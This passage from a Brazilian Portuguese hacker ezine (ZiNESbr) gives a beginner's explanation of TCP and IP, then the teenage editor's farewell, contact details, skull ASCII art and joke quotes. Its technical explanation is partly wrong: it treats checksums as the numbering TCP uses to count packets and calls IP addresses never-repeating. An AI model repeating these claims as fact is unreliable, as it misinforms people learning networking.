eh padrao utilizado na internet.O Tcp/IP  a uniao dos protocolos de tcp 
e ip, abaixo segue uma breve explicacao sobre os dois:

* Protocolo TCP
O tcp  o protocolo responsavel pelo envio e pelo recebimento dos pacotes
de dados.  o tcp quem divide a informacao em pacotes e a envia, e quando
a informacao chega no seu destino ela encontra o tcp novamente, esse sera
responsavel pelo agrupamento e verificacao da informacao, o caso esteja
faltando algum pacote, ou o tcp encontre erro em algum dos pacotes, ele 
o responsavel por pedir que seja enviado novamente o pacote danificado. O
tcp realiza o controle dos pacotes (contagem) atravez das CheckSums
(numeracao dos pacotes).

* Protocolo IP
O ip  o responsavel pela identificacao das entidades envolvidas na 
trasmissao. Os IPs  como se fosse um RG de um computador na internet,
este nao se repete, pois atraves dele  que sao identificadas as 
entidades. O IP tem uma cara assim => 255.255.255.255 sendo que cada
valor varia entre 256 valores(0 a 255). Pacote: O pacote  constitudo
basicamente de um corpo(body), que  o espaco onde sera armazenado a
informacao. de um cabecalho(head), onde estara o checksum, o ip de 
origem(quem esta mandando a mensagem) e de destino(quem recebera a
mensagem). Bom, basicamente  isso!

Exemplo prtico: Imagine que vc esta no icq e quer mandar uma mensagem a
uma pessoa entao vc digita a mensagem e pressiona "Send". Logo em seguida
o tcp entra em acao ele verifica o tamanho da informacao(sua mensagem) e
caso seja necessario ele a divide em pacotes. Estes pacotes sao enviados
por caminhos diferentes, mas o fato do(s) pacote(s) ter(em) o(s) ip(s) de
destino garante que a sua mensagem chegara inteira para um ip na rede. 
Quando os pacotes chegarem ao seu destino, o tcp verificara o cabecalho de
todos estes pacotes e entao tomara decisoes, caso falte algum pacote, ou
mesmo que algum esteja danificado, o tcp (atraves do checksum identificara
os pacotes defeituosos) requesitara um reenvio de determinado(s) pacote(s).

                                                  |wizard|
                                                  wizard.suporte.net
                                                  wizard@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.







SETOR [16]
==[ Ultimas palavras ]==
==[ por Gotoxy       ]==

snif,
     mais uma edicao finalizada..:( Mas nao se preocupe!! o ZiNESbr 
ainda nao acabou!! E espero que nao acabe nunca!:) e tipo, a proxima
edicao deve demorar um pouco para sair. Estou muito sem tempo, muito
mesmo! Nao eh desculpa irmaos,eh que a oitava serie tah foda e preciso
estudar e tambem preciso curtir mais a vida (tenho q aproveitar minha
infancia de quartoze aninhos..);) Meu dia de folga sera apenas domingo
e nesse dia tirarei um tempinho para escrevers uns textos.E se alguns
me ajudassem eu agradeceria muito(muito mesmo). Sei que muito de vcs
andam ocupadissimos... eu entendo. E peco, se sobrar um tempinho de
sua vida para escrever um simples texto para a comunidade newbie (ou
seja, nos) saiba que voce estaria ajudando a muitos..:) 

Entao eh isso irmaos, ateh a proxima edicao!

________________________________________________________________________
------------------------------------ZiNESbr-----------------------------

                          Perguntas? Duvidas? Sugestoes?
                                zinesbr@ieg.com.br

                                   Home Page
                            http://zinesbr.hpg.com.br


                                6666666666666
          6666                66666666666666666            6666
        6666666              6666666666666666666          6666666
        666666666           666666666666666666666       666666666
             66666666       666666666666666666666    6666666
                666666      666     66666     666  66666
                    666666  66   6   666   6   66 666
                       6666 666     66666     666 6
                       6666 666     66666     666 6
                          66 666666666 666666666 66
           -[ ZinesBR ]-        6666     6666         -[ ZinesBR ]-
                              66 66666666666 66
          66666         666666 66           66 666666         666
          666666    66666666   666         666   66666666    6666
           6666666666666        66666   66666        66666666666
             66666666            66666666666            6666666
            666666                 6666666                666666
             6666                                          6666

"Voces podem parar um de nos, mas nunca todos nos." - by my espermatozoide

     "Segmentation fault" - by my Kernel     

"Morrer se for preciso, matar...jamais!" - by ramati
   Meu irmao me disse isso, mas mesmo assim matei ele!:)
